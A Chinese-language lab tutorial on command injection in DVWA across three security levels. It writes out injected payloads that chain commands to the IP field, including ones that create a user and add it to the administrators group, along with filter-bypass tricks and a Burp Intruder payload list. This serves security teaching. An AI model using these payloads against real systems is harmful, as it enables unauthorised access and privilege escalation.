N3 DVWA Command Injection(命令注入)

一.基础知识

1.ping命令
ping ip地址 :测试该ip是否在线
ping -n 2 ip地址:Windows系统,发送两次ping包命令。
ping -c 2 ip地址:Linux系统,发送两次ping包命令。
ping 127.0.0.1 :测试本地tcp/ip服务是否正常工作

2.ipconfig命令
ipconfig:Windows系统查看本机ip的命令
ifconfig:Linux系统查看本机ip的命令

3.net user
net user 用户名 密码 /add :Windows系统添加用户命令
net localgroup administrators 用户名 /add:将该用户添加到超级管理员组

4.连接符
ping 127.0.0.1 && ipconfig :如果成功执行第一个命令,则继续执行第二个命令
ping 127.0.0.1 & ipconfig:第一个命令无论执行成功与否,都继续执行第二个命令
ping 127.0.0.1 || ipconfig:第一个命令成功执行,则第二个命令不执行。若第一个命令执行错误,则执行后面命令。
ping 127.0.0.1 | ipconfig:第一个命令无论正确与否,都只执行第二个命令
ping 127.0.0.1 ;ipconfig:Linux系统下的命令,执行第一个和第二个命令。

二、Low级别

1.源码分析
N3 DVWA Command Injection(命令注入)
这里我们可以看到,将用户输入的 ip 赋值给$target,直接执行ping $target,中间不做任何过滤处理。

2.手动注入
127.0.0.1 && ipconfig
127.0.0.1 & ipconfig
127.0.0.1 | ipconfig
127.0.0.1 ; ifconfig //DVWA服务器为Linux系统时
分别输入以上命令,可以发现,均可返回ipconfig命令的结果
N3 DVWA Command Injection(命令注入)
说明我们可以在这里可以进行命令注入。
那么我们通过这个注入点,为系统创建一个新的用户,并赋予管理员权限。
可以通过以下命令实现
127.0.0.1 && net user test test /add
127.0.0.1&& net localgroup administrators test /add
我们输入第一条命令
N3 DVWA Command Injection(命令注入)

输入命令后,打开搭载DVWA的靶机,输入net user查看是否成功创建用户。
N3 DVWA Command Injection(命令注入)
发现已经成功为我们创建了账号为test 密码为test 的用户,输入net user test,发现该用户目前在user组中.
N3 DVWA Command Injection(命令注入)
我们执行第二条命令,再次查看。
N3 DVWA Command Injection(命令注入)
N3 DVWA Command Injection(命令注入)
发现已经加入超级管理员组,拥有了超级管理员权限。这样一次手工命令注入就完成了。
实验做完后,记得输入net user test /del命令,将刚刚创建的test用户删除哦。

3.批量注入
我们将命令放入一个txt文件,做出一个命令字典。
N3 DVWA Command Injection(命令注入)
打开Burpsuite,将火狐浏览器设置为代理模式。
输入127.0.0.1,submit。打开Burpsuite,将数据包传到Intruder模块,使用sniper模式跑字典。
N3 DVWA Command Injection(命令注入)
N3 DVWA Command Injection(命令注入)
N3 DVWA Command Injection(命令注入)
因为Windows系统默认ping 4次,所以速度比较慢。
也可以使用 -n 1 127.0.0.1 && ipconfig,将ping包设置为1次,可以加快速度。
我们可以看到,命令已经成功执行。我们进入DVWA的靶机,查看一下是否已经成功创建test用户。
N3 DVWA Command Injection(命令注入)
发现已经成功创建。
N3 DVWA Command Injection(命令注入)
通过bp批量注入也完成了。

三、Meduim级别

1.源码分析
N3 DVWA Command Injection(命令注入)
2.命令注入
我们发现这个只对&&和;进行了过滤
那么,我们不使用&&和;命令,使用&、|、||依旧可以绕过。
N3 DVWA Command Injection(命令注入)
同理,字典更换为
127.0.0.1 & ipconfig
127.0.0.1 || ipconfig
127.0.0.1 | ipconfig
127.0.0.1|net user test test /add
127.0.0.1|net localgroup administrators test /add
依旧可以进行注入
N3 DVWA Command Injection(命令注入)
N3 DVWA Command Injection(命令注入)
这样meduim级别的命令注入就成功完成了!

四、high级别

1.源码分析
N3 DVWA Command Injection(命令注入)
我们发现,基本上所有的关键字都被过滤了,但在|的地方,由于失误,多加了一个空格,导致我们输入|不加空格,是可以绕开的。
那么下面我们尝试一下。发现127.0.0.1|ipconfig (|后不加空格)是可以绕过过滤的。
N3 DVWA Command Injection(命令注入)
于是,我们可以构建字典
127.0.0.1|ipconfig
127.0.0.1|net user test test /add
127.0.0.1|net localgroup administrators test /add
发现命令执行成功
N3 DVWA Command Injection(命令注入)

N3 DVWA Command Injection(命令注入)
这样,high级别的命令注入就完成了,大家动手试一试吧!
做完实验,一定记得删除自己创建的用户哦!